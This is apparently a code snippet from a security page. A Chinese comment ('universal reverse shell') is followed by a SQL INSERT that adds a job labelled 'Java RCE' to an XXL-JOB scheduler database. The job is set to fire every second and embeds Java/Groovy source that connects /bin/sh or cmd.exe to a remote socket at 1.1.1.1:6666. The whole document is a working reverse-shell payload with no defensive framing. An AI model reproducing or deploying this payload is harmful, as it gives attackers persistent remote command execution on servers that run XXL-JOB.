1
2
|
//通用反弹shell
INSERT INTO `xxl_job`.`xxl_job_info` (`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) VALUES (99, 1, 'Java RCE', '2026-01-07 15:10:03', '2026-01-07 15:10:39', '111', '', 'CRON', '* * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_GROOVY', 'package com.xxl.job.service.handler;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.net.Socket;\n\npublic class reverse {\n class StreamConnector\n extends Thread\n {\n InputStream hx;\n OutputStream il;\n\n StreamConnector(InputStream hx, OutputStream il)\n {\n this.hx = hx;\n this.il = il;\n }\n\n public void run()\n {\n BufferedReader ar = null;\n BufferedWriter slm = null;\n try\n {\n ar = new BufferedReader(new InputStreamReader(this.hx));\n slm = new BufferedWriter(new OutputStreamWriter(this.il));\n char[] buffer = new char[8192];\n int length;\n while ((length = ar.read(buffer, 0, buffer.length)) > 0)\n {\n slm.write(buffer, 0, length);\n slm.flush();\n }\n }\n catch (Exception localException) {}\n try\n {\n if (ar != null) {\n ar.close();\n }\n if (slm != null) {\n slm.close();\n }\n }\n catch (Exception localException1) {}\n }\n }\n public reverse()\n {\n reverseConn(\"1.1.1.1:6666\");\n }\n\n public static void main(String[] args) \n {\n System.out.println(\"0\");\n }\n\n public void reverseConn(String ip)\n {\n String ipport = ip;\n try\n {\n String ShellPath;\n if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1) {\n ShellPath = new String(\"/bin/sh\");\n } else {\n ShellPath = new String(\"cmd.exe\");\n }\n Socket socket = new Socket(ipport.split(\":\")[0], \n Integer.parseInt(ipport.split(\":\")[1]));\n Process process = Runtime.getRuntime().exec(ShellPath);\n new StreamConnector(process.getInputStream(), \n socket.getOutputStream()).start();\n new StreamConnector(process.getErrorStream(), \n socket.getOutputStream()).start();\n new StreamConnector(socket.getInputStream(), \n process.getOutputStream()).start();\n }\n catch (Exception e)\n {\n e.printStackTrace();\n }\n }\n}', 'Java RCE', '2026-01-07 15:10:39', '', 0, 0, 0);
|